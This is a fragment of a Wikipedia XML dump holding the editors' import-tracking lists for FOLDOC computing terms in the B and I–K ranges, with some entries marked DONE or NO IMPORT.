BOOTP&lt;br&gt;
bootstrap&lt;br&gt;
bootstrap loader&lt;br&gt;
boot virus&lt;br&gt;
Border Gateway Protocol&lt;br&gt;
borf&lt;br&gt;
Borland International, Inc.&lt;br&gt;
BOS&lt;br&gt;
Bose-Chaudhuri-Hocquenghem Code&lt;br&gt;
BOSS&lt;br&gt;
bot&lt;br&gt;
botmaster&lt;br&gt;
bottom&lt;br&gt;
bottom feeder&lt;br&gt;
bottom-unique&lt;br&gt;
bottom-up implementation&lt;br&gt;
bottom-up model&lt;br&gt;
bottom-up testing&lt;br&gt;
botwar&lt;br&gt;
bounce&lt;br&gt;
bounce message&lt;br&gt;
boundary scan&lt;br&gt;
boundary value analysis&lt;br&gt;
bounded&lt;br&gt;
boundedly complete&lt;br&gt;
bound variable&lt;br&gt;
bournebasic&lt;br&gt;
Bourne shell&lt;br&gt;
boustrophedonic&lt;br&gt;
box&lt;br&gt;
boxed comments&lt;br&gt;
boxen&lt;br&gt;
Boxer&lt;br&gt;
boxology&lt;br&gt;
Boycott Apple&lt;br&gt;
bozotic&lt;br&gt;
BPI&lt;br&gt;
bpmake&lt;br&gt;
bpp&lt;br&gt;
BPR&lt;br&gt;
BPS&lt;br&gt;
BQS&lt;br&gt;
br&lt;br&gt;
brace&lt;br&gt;
bracket&lt;br&gt;
bracket abstraction&lt;br&gt;
braille&lt;br&gt;
braille display&lt;br&gt;
Braille embosser&lt;br&gt;
Braille printer&lt;br&gt;
Brain Aid Prolog&lt;br&gt;
brain-damaged&lt;br&gt;
brain-dead&lt;br&gt;
brain dump&lt;br&gt;
brain fart&lt;br&gt;
braino&lt;br&gt;
branch&lt;br&gt;
Branch and Hang&lt;br&gt;
branch coverage testing&lt;br&gt;
branch delay slot -- '''DONE'''&lt;br&gt;
Branch on Chip Box Full&lt;br&gt;
branch prediction&lt;br&gt;
Branch Target Buffer&lt;br&gt;
branch to Fishkill&lt;br&gt;
Brazil&lt;br&gt;
BRB&lt;br&gt;
bread crumbs&lt;br&gt;
breadth first search&lt;br&gt;
break&lt;br&gt;
break-even point&lt;br&gt;
breakpoint&lt;br&gt;
breath-of-life packet&lt;br&gt;
breedle&lt;br&gt;
BRH&lt;br&gt;
BRI&lt;br&gt;
Brian Reid&lt;br&gt;
BRIDGE&lt;br&gt;
bridge&lt;br&gt;
Bridgetalk&lt;br&gt;
briefcase&lt;br&gt;
brightness&lt;br&gt;
Brilliant&lt;br&gt;
bring X to its knees&lt;br&gt;
British Broadcasting Corporation&lt;br&gt;
British Library Method&lt;br&gt;
British Standards Institute&lt;br&gt;
British Telecom&lt;br&gt;
British Telecom Research Laboratories&lt;br&gt;
brittle&lt;br&gt;
broadband&lt;br&gt;
broadcast&lt;br&gt;
broadcast quality video&lt;br&gt;
broadcast storm&lt;br&gt;
Broadway&lt;br&gt;
brochureware&lt;br&gt;
broken&lt;br&gt;
broken arrow&lt;br&gt;
broker&lt;br&gt;
broket&lt;br&gt;
Brooks's Law&lt;br&gt;
brouter&lt;br&gt;
Brouwer Fixed-Point Theorem&lt;br&gt;
Brown and Sharpe Wire Gauge&lt;br&gt;
brown paper bag bug&lt;br&gt;
browser&lt;br&gt;
BRS&lt;br&gt;
BRUIN&lt;br&gt;
brute force&lt;br&gt;
brute force and ignorance&lt;br&gt;
brute force attack&lt;br&gt;
BS&lt;br&gt;
bs&lt;br&gt;
BS2000&lt;br&gt;
BSA&lt;br&gt;
BSD&lt;br&gt;
BSD386&lt;br&gt;
BSDI&lt;br&gt;
BSD/OS&lt;br&gt;
BSD Unix&lt;br&gt;
BSI&lt;br&gt;
BSL&lt;br&gt;
BSOD&lt;br&gt;
BSOL&lt;br&gt;
BSOM&lt;br&gt;
BSP method&lt;br&gt;
BSRAM&lt;br&gt;
BSS&lt;br&gt;
BST&lt;br&gt;
bt&lt;br&gt;
BTB&lt;br&gt;
btoa&lt;br&gt;
B-Toolkit&lt;br&gt;
BTOS&lt;br&gt;
B-tree&lt;br&gt;
[[Btrieve]] - largely done, still more to go however. - [[User:Ta bu shi da yu|Ta bu shi da yu]] 02:50, 9 Dec 2004 (UTC)&lt;br&gt;
[[Btrieve Technologies, Inc.]] - '''DONE''' redirected to [[Btrieve]] &lt;br&gt;
BTRL&lt;br&gt;
BTW&lt;br&gt;
BUAF&lt;br&gt;
BUAG&lt;br&gt;
bubble memory&lt;br&gt;
bubble sort&lt;br&gt;
bucky bits&lt;br&gt;
buffer&lt;br&gt;
buffered write-through&lt;br&gt;
buffer overflow&lt;br&gt;
bug&lt;br&gt;
bug-compatible&lt;br&gt;
bug fix&lt;br&gt;
bug fix release&lt;br&gt;
bug-for-bug compatible&lt;br&gt;
buglix&lt;br&gt;
BUGSYS&lt;br&gt;
built-in&lt;br&gt;
Built-in Self Test&lt;br&gt;
Bull&lt;br&gt;
bulletin board&lt;br&gt;
bulletin board system&lt;br&gt;
bulletproof&lt;br&gt;
Bull Information Systems&lt;br&gt;
bum&lt;br&gt;
bump&lt;br&gt;
burble&lt;br&gt;
Burge's Language&lt;br&gt;
buried treasure&lt;br&gt;
burn-in&lt;br&gt;
burn-in period&lt;br&gt;
Burroughs Corporation&lt;br&gt;
Burst EDO&lt;br&gt;
Burst Extended Data Out DRAM&lt;br&gt;
burst page&lt;br&gt;
Burst Static Random Access Memory&lt;br&gt;
bus&lt;br&gt;
bus error&lt;br&gt;
Bush, Vannevar&lt;br&gt;
Business Application Programming Interface&lt;br&gt;
Business Process Re-engineering&lt;br&gt;
Business Software Alliance&lt;br&gt;
business to business&lt;br&gt;
bus master&lt;br&gt;
bus mastering&lt;br&gt;
bus network&lt;br&gt;
Busy Beaver&lt;br&gt;
busy-loop&lt;br&gt;
busy-wait&lt;br&gt;
Butterfly Common LISP&lt;br&gt;
Butterfly Scheme&lt;br&gt;
button&lt;br&gt;
buzz&lt;br&gt;
bv&lt;br&gt;
bw&lt;br&gt;
bwBASIC&lt;br&gt;
BWQ&lt;br&gt;
by&lt;br&gt;
byacc&lt;br&gt;
by hand&lt;br&gt;
Byte&lt;br&gt;
byte&lt;br&gt;
byte-code&lt;br&gt;
byte-code compiler&lt;br&gt;
byte-code interpreter&lt;br&gt;
byte compiler&lt;br&gt;
bytesexual&lt;br&gt;
Byzantine&lt;br&gt;
bz&lt;br&gt;
bzzzt, wrong&lt;br&gt;

:''See also :'' [[Free On-line Dictionary of Computing]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Free On-line Dictionary of Computing/I - K</title>
    <id>11330</id>
    <revision>
      <id>15909083</id>
      <timestamp>2005-03-04T15:26:53Z</timestamp>
      <contributor>
        <username>Macrakis</username>
        <id>49920</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Free_On-line_Dictionary_of_Computing/symbols - B|symbols - B]] -- [[Free_On-line_Dictionary_of_Computing/C - D|C - D]] -- [[Free_On-line_Dictionary_of_Computing/E - H|E - H]] -- '''I - K''' -- [[Free_On-line_Dictionary_of_Computing/L - N|L - N]] -- [[Free_On-line_Dictionary_of_Computing/O - Q|O - Q]] -- [[Free_On-line_Dictionary_of_Computing/R - S|R - S]] -- [[Free_On-line_Dictionary_of_Computing/T - W|T - W]] -- [[Free_On-line_Dictionary_of_Computing/X - Z|X - Z]] -- [[Free_On-line_Dictionary_of_Computing/Status|FOLDOC Status Page]]

i18n&lt;br&gt;
I2O&lt;br&gt;
i386&lt;br&gt;
i486&lt;br&gt;
i487&lt;br&gt;
i860&lt;br&gt;
IA&lt;br&gt;
IAB&lt;br&gt;
IAD&lt;br&gt;
IAL&lt;br&gt;
IAM&lt;br&gt;
IANA&lt;br&gt;
IANAL&lt;br&gt;
IAP&lt;br&gt;
I-APL&lt;br&gt;
IAR&lt;br&gt;
IAS&lt;br&gt;
IAW&lt;br&gt;
IBEX&lt;br&gt;
IBM&lt;br&gt;
IBM 1403&lt;br&gt;
IBM 1620 '''NO IMPORT'''&lt;br&gt;
IBM 1710 '''NO IMPORT'''&lt;br&gt;
IBM 2741&lt;br&gt;
IBM 3270&lt;br&gt;
IBM 360 '''NO IMPORT'''&lt;br&gt;
IBM 3720 '''NO IMPORT'''&lt;br&gt;
IBM 650 '''NO IMPORT'''&lt;br&gt;
IBM 704&lt;br&gt;
IBM 7040&lt;br&gt;
IBM 705&lt;br&gt;
IBM 709&lt;br&gt;
IBM 7090&lt;br&gt;
IBM 7094&lt;br&gt;
IBM 801&lt;br&gt;
IBM compatible&lt;br&gt;
IBM Customer Engineer&lt;br&gt;
IBM discount&lt;br&gt;
IBM PC -- '''DONE'''&lt;br&gt;
IBM PC AT&lt;br&gt;
IBM PCjr&lt;br&gt;
IBM PC XT&lt;br&gt;
IBM Systems Engineer&lt;br&gt;
Ibpag2&lt;br&gt;
Iburg&lt;br&gt;
IC&lt;br&gt;
ICAM&lt;br&gt;
I-CASE&lt;br&gt;
ICBM address&lt;br&gt;
ICE&lt;br&gt;
icebreaker&lt;br&gt;
ICES&lt;br&gt;
ICETRAN&lt;br&gt;
ICI&lt;br&gt;
ICL&lt;br&gt;
ICMP&lt;br&gt;
ICMP Router Discovery Protocol&lt;br&gt;
I-Comm&lt;br&gt;
iCOMP&lt;br&gt;
Icon '''DONE''' as either [[Unisys ICON]] or [[Icon programming language]]&lt;br&gt;
icon&lt;br&gt;
Iconicode&lt;br&gt;
ICONIX Software Engineering, Inc.&lt;br&gt;
IC-Prolog&lt;br&gt;
IC Prolog II&lt;br&gt;
ICQ&lt;br&gt;
ICSI&lt;br&gt;
ICT&lt;br&gt;
ICW&lt;br&gt;
ICWS&lt;br&gt;
Id&lt;br&gt;
id&lt;br&gt;
I-D&lt;br&gt;
IDAMS&lt;br&gt;
IDE&lt;br&gt;
IDEA&lt;br&gt;
IDEAL&lt;br&gt;
ideal&lt;br&gt;
Idealized CSP&lt;br&gt;
Idealized Instruction Set&lt;br&gt;
IDEF&lt;br&gt;
idempotent&lt;br&gt;
IDF&lt;br&gt;
I didn't change anything!&lt;br&gt;
IDL&lt;br&gt;
IDMS&lt;br&gt;
IDMSX&lt;br&gt;
Id Nouveau&lt;br&gt;
IDOL&lt;br&gt;
IDS/I&lt;br&gt;
id Software&lt;br&gt;
IDSS&lt;br&gt;
IE&lt;br&gt;
ie&lt;br&gt;
IEC&lt;br&gt;
IEC 559&lt;br&gt;
IEEE&lt;br&gt;
IEEE 1076&lt;br&gt;
IEEE 1394 -- '''DONE''' (renamed Firewire)&lt;br&gt;
IEEE 488&lt;br&gt;
IEEE 754&lt;br&gt;
IEEE 802&lt;br&gt;
IEEE 802.2 -- '''DONE'''&lt;br&gt;
IEEE 802.3&lt;br&gt;
IEEE 802.3u&lt;br&gt;
IEEE 802.3z&lt;br&gt;
IEEE 802.4&lt;br&gt;
IEEE 802.5&lt;br&gt;
IEEE Computer Society&lt;br&gt;
IEEE Floating Point Standard -- '''DONE'''&lt;br&gt;
IEEE Standard 1149.1&lt;br&gt;
IEF&lt;br&gt;
IEN&lt;br&gt;
IEPG&lt;br&gt;
IESG&lt;br&gt;
IETF&lt;br&gt;
IF1&lt;br&gt;
IF2&lt;br&gt;
IFAC&lt;br&gt;
ifdef out&lt;br&gt;
IFDL&lt;br&gt;
IFF&lt;br&gt;
[[IFIP]]&lt;br&gt;
IFP&lt;br&gt;
IFS&lt;br&gt;
IFX&lt;br&gt;
If you want X, you know where to find it.&lt;br&gt;
IGC&lt;br&gt;
IGES&lt;br&gt;
IGL&lt;br&gt;
IGMP&lt;br&gt;
IGP&lt;br&gt;
IGPL&lt;br&gt;
IGU&lt;br&gt;
IHS&lt;br&gt;
IHV&lt;br&gt;
IIcx&lt;br&gt;
IIDMS/R&lt;br&gt;
IINREN&lt;br&gt;
IIOP&lt;br&gt;
IIR&lt;br&gt;
IIRC&lt;br&gt;
IIS&lt;br&gt;
IIT&lt;br&gt;
IITF&lt;br&gt;
IITRAN&lt;br&gt;
il&lt;br&gt;
ILBM&lt;br&gt;
ILF&lt;br&gt;
ILIAD&lt;br&gt;
I-Link&lt;br&gt;
ILISP&lt;br&gt;
ill-behaved&lt;br&gt;
ILLIAC&lt;br&gt;
Illiac IV&lt;br&gt;
ILOC&lt;br&gt;
Ilog Solver&lt;br&gt;
image&lt;br&gt;
image formats&lt;br&gt;
image map&lt;br&gt;
image processing&lt;br&gt;
image recognition&lt;br&gt;
imaging&lt;br&gt;
Imago Europe plc&lt;br&gt;
Imago On-line&lt;br&gt;
imake&lt;br&gt;
IMAO&lt;br&gt;
IMAP&lt;br&gt;
imc&lt;br&gt;
IMD&lt;br&gt;
IMHO&lt;br&gt;
IML&lt;br&gt;
immediate version&lt;br&gt;
Imminent Death Of The Net Predicted!&lt;br&gt;
IMNSHO&lt;br&gt;
IMO&lt;br&gt;
IMP&lt;br&gt;
impact printer&lt;br&gt;
imperative language&lt;br&gt;
Imperial Software Technology&lt;br&gt;
IMPlementation language&lt;br&gt;
implicit parallelism&lt;br&gt;
implicit type conversion&lt;br&gt;
implies&lt;br&gt;
imprecise probability&lt;br&gt;
IMProved Mercury autocode&lt;br&gt;
IMR&lt;br&gt;
IMS&lt;br&gt;
IMS 6100&lt;br&gt;
Imsai&lt;br&gt;
IMS/Data Base&lt;br&gt;
IMS/Data Communications&lt;br&gt;
IMSE&lt;br&gt;
IMTC&lt;br&gt;
in&lt;br&gt;
Ina Jo&lt;br&gt;
InARP&lt;br&gt;
in-band&lt;br&gt;
inc&lt;br&gt;
incantation&lt;br&gt;
include&lt;br&gt;
include war&lt;br&gt;
inclusive&lt;br&gt;
incomparable&lt;br&gt;
incremental analysis&lt;br&gt;
incremental backup&lt;br&gt;
incremental constraint solver&lt;br&gt;
Incremental Prototyping Technology for Embedded Realtime Systems&lt;br&gt;
[incr Tcl]&lt;br&gt;
indel&lt;br&gt;
indent style&lt;br&gt;
Independent Logical File&lt;br&gt;
Independent Verification and Validation&lt;br&gt;
index&lt;br&gt;
Index Data&lt;br&gt;
Indexed Sequential Access Method&lt;br&gt;
indices&lt;br&gt;
indirect address&lt;br&gt;
indirect addressing&lt;br&gt;
indirection&lt;br&gt;
induction&lt;br&gt;
inductive inference&lt;br&gt;
inductive relation&lt;br&gt;
Industrial Programming, Inc.&lt;br&gt;
Industrial Robot Language&lt;br&gt;
Industry Standard Architecture -- '''DONE'''&lt;br&gt;
inetd&lt;br&gt;
inews&lt;br&gt;
infant mortality (computer)&lt;br&gt;
infeasible path&lt;br&gt;
inference&lt;br&gt;
inference engine&lt;br&gt;
inference rule&lt;br&gt;
infimum&lt;br&gt;
infinite&lt;br&gt;
Infinite Impulse Response&lt;br&gt;
infinite loop&lt;br&gt;
Infinite Monkey Theorem&lt;br&gt;
infinite set&lt;br&gt;
infinity&lt;br&gt;
infix notation&lt;br&gt;
infix syntax&lt;br&gt;
inflate&lt;br&gt;
INFN&lt;br&gt;
Infobahn&lt;br&gt;
Info BASIC&lt;br&gt;
infobot&lt;br&gt;
Informatics Corporation&lt;br&gt;
Information Algebra&lt;br&gt;
Information and Communication Technology&lt;br&gt;
Information Appliance&lt;br&gt;
Information Builders&lt;br&gt;
Information Engineering Facility&lt;br&gt;
information highway&lt;br&gt;
Information Innovation&lt;br&gt;
information island&lt;br&gt;
Information Management&lt;br&gt;
Information Management System&lt;br&gt;
Information Processing Language&lt;br&gt;
Information Resource Management&lt;br&gt;
information superhighway&lt;br&gt;
Information Systems Factory&lt;br&gt;
Information Technology&lt;br&gt;
Information Technology Infrastructure Library&lt;br&gt;
Informix&lt;br&gt;
InfoSeek&lt;br&gt;
InfoStreet, Inc.&lt;br&gt;
InfoWord Office&lt;br&gt;
infrared&lt;br&gt;
Infrared Data Association&lt;br&gt;
infrastructure&lt;br&gt;
Inglish&lt;br&gt;
INGRES&lt;br&gt;
inheritance&lt;br&gt;
initgame&lt;br&gt;
initialise&lt;br&gt;
Initial Microprogram Load&lt;br&gt;
Initial Operational Test and Evaluation&lt;br&gt;
Initial Program Load&lt;br&gt;
Initial Program Loader&lt;br&gt;
initiator&lt;br&gt;
injection&lt;br&gt;
inkjet printer&lt;br&gt;
ink printer&lt;br&gt;
inline&lt;br&gt; - '''DONE'''
inline image&lt;br&gt;
INMOS transputer&lt;br&gt;
inner join&lt;br&gt;
inner product&lt;br&gt;
InnovAda&lt;br&gt;
inode&lt;br&gt;
Inprise Corporation&lt;br&gt;
Input&lt;br&gt;
input&lt;br&gt;
input device&lt;br&gt;
input/output&lt;br&gt;
input/output redirection&lt;br&gt;
inquiry/response system&lt;br&gt;
INRIA&lt;br&gt;
insanely great&lt;br&gt;
insertion sort&lt;br&gt;
INSIGHT&lt;br&gt;
Insignia Solutions, Inc.&lt;br&gt;
inspection&lt;br&gt;
installable file system&lt;br&gt;
installed user base&lt;br&gt;
installer&lt;br&gt;
instance&lt;br&gt;
instance variable&lt;br&gt;
instantiate&lt;br&gt;
instantiation&lt;br&gt;
Institute for Global Communications&lt;br&gt;
Institute of Electrical and Electronics Engineers, Inc.&lt;br&gt;
Institut National de Recherche en Informatique et Automatique&lt;br&gt;
Instruction Address Register&lt;br&gt;
instruction mnemonic&lt;br&gt;
instruction prefetch&lt;br&gt;
instruction scheduling&lt;br&gt;
instruction set&lt;br&gt;
instruction set architecture&lt;br&gt;
Instruction Set Processor&lt;br&gt;
instrument&lt;br&gt;
int&lt;br&gt;
INTCODE&lt;br&gt;
integer&lt;br&gt;
Integer SPECbaserate&lt;br&gt;
Integer SPECbaseratio&lt;br&gt;
Integer SPECrate&lt;br&gt;
Integer SPECratio&lt;br&gt;
integrated circuit&lt;br&gt;
Integrated Database Management System&lt;br&gt;
Integrated Drive Electronics&lt;br&gt;
Integrated Information Technology&lt;br&gt;
Integrated Modelling Support Environment&lt;br&gt;
Integrated Project Support Environment&lt;br&gt;
Integrated Services Digital Network&lt;br&gt;
Integrated Systems Architecture&lt;br&gt;
integration&lt;br&gt;
integration testing&lt;br&gt;
integrity constraint&lt;br&gt;
Intel 4004&lt;br&gt;
Intel 4040&lt;br&gt;
Intel 486&lt;br&gt;
Intel 486DX&lt;br&gt;
Intel 486SX&lt;br&gt;
Intel 487SX&lt;br&gt;
Intel 8008&lt;br&gt;
Intel 80186&lt;br&gt;
Intel 80188&lt;br&gt;
Intel 80286&lt;br&gt;
Intel 80386&lt;br&gt;
Intel 80386SX&lt;br&gt;
Intel 8048&lt;br&gt;
Intel 80486&lt;br&gt;
Intel 8051&lt;br&gt;
Intel 8080&lt;br&gt;
Intel 8085&lt;br&gt;
Intel 8086&lt;br&gt;
Intel 8088&lt;br&gt;
Intel 80x86&lt;br&gt;
Intel 8751&lt;br&gt;
Intel Comparative Microprocessor Performance index&lt;br&gt;
Intel Corporation&lt;br&gt;
IntelDX4&lt;br&gt;
Intel i960&lt;br&gt;
INTELLECT&lt;br&gt;
intellectual property&lt;br&gt;
intelligent backtracking&lt;br&gt;
intelligent database&lt;br&gt;
Intelligent Input/Output&lt;br&gt;
Intelligent I/O&lt;br&gt;
intelligent key&lt;br&gt;
intelligent terminal&lt;br&gt;
IntelliMouse&lt;br&gt;
Intel Literature Sales&lt;br&gt;
Intelsat&lt;br&gt;
intensional&lt;br&gt;
Intent to Package&lt;br&gt;
INTERACTIVE&lt;br&gt;
interactive&lt;br&gt;
Interactive CourseWare&lt;br&gt;
Interactive Data Entry/Access&lt;br&gt;
Interactive Data Language&lt;br&gt;
interactive development environment&lt;br&gt;
Interactive Development Environments&lt;br&gt;
Interactive Software Engineering&lt;br&gt;
Interactive System Productivity Facility&lt;br&gt;
Interactive Voice Response&lt;br&gt;
Interagency Interim National Research and Education Network&lt;br&gt;
InterBase&lt;br&gt;
INTERCAL&lt;br&gt;
Interchange File Format&lt;br&gt;
INTERCOM&lt;br&gt;
Interest Group in Pure and Applied Logics&lt;br&gt;
interesting&lt;br&gt;
interface&lt;br&gt;
interface analysis&lt;br&gt;
Interface Architect&lt;br&gt;
Interface Definition Language&lt;br&gt;
Interface Description Language&lt;br&gt;
Interface Message Processor&lt;br&gt;
Interior Gateway Protocol&lt;br&gt;
interlace&lt;br&gt;
interlaced image&lt;br&gt;
interlacing&lt;br&gt;
Interlan&lt;br&gt;
Interleaf&lt;br&gt;
interleave&lt;br&gt;
interleaving&lt;br&gt;
INTERLINK&lt;br&gt;
Interlisp&lt;br&gt;
Interlisp-10&lt;br&gt;
Interlisp-D&lt;br&gt;
Intermedia&lt;br&gt;
Intermedia Interchange Format&lt;br&gt;
Intermediate Distribution Frame&lt;br&gt;
Intermediate Programming Language&lt;br&gt;
Intermediate System&lt;br&gt;
Intermediate System-Intermediate System&lt;br&gt;
Intermetrics, Inc.&lt;br&gt;
intermodulation distortion&lt;br&gt;
internal field separators&lt;br&gt;
Internal Translator&lt;br&gt;
International Algebraic Language&lt;br&gt;
International Atomic Time&lt;br&gt;
International Business Machines&lt;br&gt;
International Computers Limited plc&lt;br&gt;
International Core War Society&lt;br&gt;
International Data Encryption Algorithm&lt;br&gt;
International Electrotechnical Commission&lt;br&gt;
International Federation for Information Processing&lt;br&gt;
International Function Point Users Group&lt;br&gt;
internationalisation&lt;br&gt;
internationalization&lt;br&gt;
International Multimedia Teleconferencing Consortium&lt;br&gt;
International Olympiad in Informatics&lt;br&gt;
International Organisation for Standardisation&lt;br&gt;
International Organization for Standardization&lt;br&gt;
International Phonetic Alphabet&lt;br&gt;
International Programmable Airline Reservation System&lt;br&gt;
International Smalltalk Association&lt;br&gt;
International Standard&lt;br&gt;
International Telecommunications Union&lt;br&gt;
International Traffic in Arms Regulation&lt;br&gt;
Internet&lt;br&gt;
internet&lt;br&gt;
Internet Access Provider&lt;br&gt;
Internet Adapter&lt;br&gt;
Internet address&lt;br&gt;
internet address&lt;br&gt;
Internet Architecture Board&lt;br&gt;
Internet Assigned Numbers Authority&lt;br&gt;
Internet backbone&lt;br&gt;
Internet Chess Server&lt;br&gt;
Internet Control Message Protocol&lt;br&gt;
Internet-Draft&lt;br&gt;
Internet Engineering and Planning Group&lt;br&gt;
Internet Engineering Steering Group&lt;br&gt;
Internet Engineering Task Force&lt;br&gt;
Internet Experiment Note&lt;br&gt;
Internet Explorer&lt;br&gt;
Internet Express&lt;br&gt;
Internet Go Server&lt;br&gt;
Internet Group Management Protocol&lt;br&gt;
Internet Information Server&lt;br&gt;
Internet Inter-ORB Protocol&lt;br&gt;
Internet Message Access Protocol&lt;br&gt;
Internet Monthly Report&lt;br&gt;
Internet Network Information Center&lt;br&gt;
internet number&lt;br&gt;
Internet Open Trading Protocol&lt;br&gt;
Internet Protocol&lt;br&gt;
Internet Protocol Control Protocol&lt;br&gt;
Internet Protocol version 4&lt;br&gt;
Internet Protocol version 6&lt;br&gt;
Internet Public Library&lt;br&gt;
Internet Registry&lt;br&gt;
Internet Relay Chat&lt;br&gt;
Internet Research Steering Group&lt;br&gt;
Internet Research Task Force&lt;br&gt;
Internet Security Association and Key Management Protocol&lt;br&gt;
Internet Server Application Programming Interface&lt;br&gt;
Internet Service Provider&lt;br&gt;
Internet Society&lt;br&gt;
Internet Telephony&lt;br&gt;
Internet Telephony Service Providers&lt;br&gt;
internetworking&lt;br&gt;
Internetwork Packet eXchange&lt;br&gt;
Internet Worm&lt;br&gt;
Internex On-Line&lt;br&gt;
InterNIC&lt;br&gt;
interoperability&lt;br&gt;
interoperable database&lt;br&gt;
inter-packet gap&lt;br&gt;
interpolation&lt;br&gt;
Interpress&lt;br&gt;
interpreted&lt;br&gt;
interpreter '''DONE'''&lt;br&gt;
Interpretive Menu Processor&lt;br&gt;
[[inter-process communication]] '''DONE'''&lt;br&gt;
interrupt&lt;br&gt;
interrupt handler&lt;br&gt;
interrupt list&lt;br&gt;
interrupt priority level&lt;br&gt;
interrupt request&lt;br&gt;
interrupts&lt;br&gt;
Intersil 6100&lt;br&gt;
Intersil 6120&lt;br&gt;
InterViews&lt;br&gt;
interworking&lt;br&gt;
intranet&lt;br&gt;
Intrinsics&lt;br&gt;
Intrusion Countermeasure Electronics&lt;br&gt;
Intrusive Testing&lt;br&gt;
Intuition&lt;br&gt;
intuitionism&lt;br&gt;
intuitionistic logic&lt;br&gt;
intuitionistic probability&lt;br&gt;
intuitionist logic&lt;br&gt;
invariant&lt;br&gt;
inverse&lt;br&gt;
Inverse Address Resolution Protocol&lt;br&gt;
inverted index&lt;br&gt;
InWorld VR&lt;br&gt;
io&lt;br&gt;
I/O&lt;br&gt;
IOI&lt;br&gt;
Iomega Corporation&lt;br&gt;
I-OOA&lt;br&gt;
I/O redirection&lt;br&gt;
IOS&lt;br&gt;
Iota&lt;br&gt;
IOT&amp;amp&lt;br&gt;E&lt;br&gt;
IOW&lt;br&gt;
IP&lt;br&gt;
IPA&lt;br&gt;
IP address&lt;br&gt;
IPARS&lt;br&gt;
I-Pay&lt;br&gt;
IPC REDIRECT [[inter-process communication]]&lt;br&gt;
IPCP&lt;br&gt;
IPE&lt;br&gt;
IPL&lt;br&gt;
IP next generation&lt;br&gt;
IPng&lt;br&gt;
IP number&lt;br&gt;
IPS&lt;br&gt;
IPSE&lt;br&gt;
IPSec&lt;br&gt;
IPT&lt;br&gt;
IP Telephony&lt;br&gt;
IPv4&lt;br&gt;
IPv6&lt;br&gt;
IPX&lt;br&gt;
IPXCP&lt;br&gt;
IQ&lt;br&gt;
iq&lt;br&gt;
IQL&lt;br&gt;
IR&lt;br&gt;
ir&lt;br&gt;
IrBUS&lt;br&gt;
IRC&lt;br&gt;
ircop&lt;br&gt;
IRC penis war&lt;br&gt;
IrDA&lt;br&gt;
IrDA-C&lt;br&gt;
IrDA Control&lt;br&gt;
IrDA Data&lt;br&gt;
IRDATA&lt;br&gt;
IRDP&lt;br&gt;
IRDS&lt;br&gt;
IRET&lt;br&gt;
IRIS&lt;br&gt;
Iris&lt;br&gt;
IRIX&lt;br&gt;
[[RL|IRL]]&lt;br&gt;
IRM&lt;br&gt;
iron&lt;br&gt;
Iron Age&lt;br&gt;
iron box&lt;br&gt;
Ironman&lt;br&gt;
ironmonger&lt;br&gt;
IRQ&lt;br&gt;
irrational number&lt;br&gt;
irrefutable&lt;br&gt;
IRSG&lt;br&gt;
IRTF&lt;br&gt;
IRUS&lt;br&gt;
Irvine Dataflow&lt;br&gt;
Irvine Research Unit in Software&lt;br&gt;
IS&lt;br&gt;
is&lt;br&gt;
IS-11172&lt;br&gt;
IS-13818&lt;br&gt;
ISA -- '''DONE''' (redirected to Industry Standard Architecture&lt;br&gt;
Isabelle&lt;br&gt;
Isabelle-92&lt;br&gt;
Isabelle-93&lt;br&gt;
ISA bus&lt;br&gt;
ISAKMP&lt;br&gt;
ISAM&lt;br&gt;
ISAPI&lt;br&gt;
ISAPI filter&lt;br&gt;
ISBL&lt;br&gt;
ISDE&lt;br&gt;
ISDN&lt;br&gt;
ISE&lt;br&gt;
ISEE&lt;br&gt;
I see no X here.&lt;br&gt;
ISETL&lt;br&gt;
ISF&lt;br&gt;
ISINDEX&lt;br&gt;
ISIS&lt;br&gt;
IS-IS&lt;br&gt;
ISL&lt;br&gt;
ISLisp&lt;br&gt;
ISMAP&lt;br&gt;
ISO&lt;br&gt;
ISO 10646&lt;br&gt;
ISO 8072&lt;br&gt;
ISO 8073&lt;br&gt;
ISO 8208&lt;br&gt;
ISO 8326&lt;br&gt;
ISO 8327&lt;br&gt;
ISO 8613&lt;br&gt;
ISO 8649&lt;br&gt;
ISO 8650&lt;br&gt;
ISO 8805&lt;br&gt;
ISO 8807&lt;br&gt;
ISO 8822&lt;br&gt;
ISO 8823&lt;br&gt;
ISO 8825&lt;br&gt;
ISO 8859&lt;br&gt;
ISO 8859-1&lt;br&gt;
ISO 8879&lt;br&gt;
ISO 9000&lt;br&gt;
ISO 9072&lt;br&gt;
ISO 9660&lt;br&gt;
ISO 9735&lt;br&gt;
ISOC&lt;br&gt;
ISO C&lt;br&gt;
isochronous&lt;br&gt;
isochronous transfer&lt;br&gt;
ISODE&lt;br&gt;
ISO Development Environment&lt;br&gt;
ISO/IEC 10646-1&lt;br&gt;
isolated&lt;br&gt;
ISO Latin 1&lt;br&gt;
isometry&lt;br&gt;
isomorphic&lt;br&gt;
isomorphism&lt;br&gt;
isomorphism class&lt;br&gt;
ISO Pascal&lt;br&gt;
ISO seven layer model&lt;br&gt;
ISP&lt;br&gt;
ISPBX&lt;br&gt;
ISPF&lt;br&gt;
ISPL&lt;br&gt;
ISPS&lt;br&gt;
IST&lt;br&gt;
ISTAR&lt;br&gt;
ISTM&lt;br&gt;
ISV&lt;br&gt;
ISWIM&lt;br&gt;
IT&lt;br&gt;
it&lt;br&gt;
ITAR&lt;br&gt;
Iterated Function System&lt;br&gt;
iteration&lt;br&gt;
iterative deepening&lt;br&gt;
Iternet&lt;br&gt;
ITHACA&lt;br&gt;
ITIL&lt;br&gt;
ITP&lt;br&gt;
ITS&lt;br&gt;
it's a feature&lt;br&gt;
ITSP&lt;br&gt;
ITU&lt;br&gt;
ITU-T&lt;br&gt;
ITU-T X.680&lt;br&gt;
ITU X.209&lt;br&gt;
Ivan&lt;br&gt;
Ivan Sutherland&lt;br&gt;
Iverson's Language&lt;br&gt;
IVR&lt;br&gt;
ivs&lt;br&gt;
IVTRAN&lt;br&gt;
IV&amp;amp&lt;br&gt;V&lt;br&gt;
IVY&lt;br&gt;
IWay&lt;br&gt;
IWBNI&lt;br&gt;
IXC&lt;br&gt;
IXI Limited&lt;br&gt;
IXO&lt;br&gt;
IYFEG&lt;br&gt;
J&lt;br&gt;
J2EE&lt;br&gt;
J2ME&lt;br&gt;
J2SE&lt;br&gt;
J3&lt;br&gt;
J73&lt;br&gt;
jabber&lt;br&gt;
JACAL&lt;br&gt;
jaccl&lt;br&gt;
jack in&lt;br&gt;
Jack Kilby&lt;br&gt;
Jackson method&lt;br&gt;
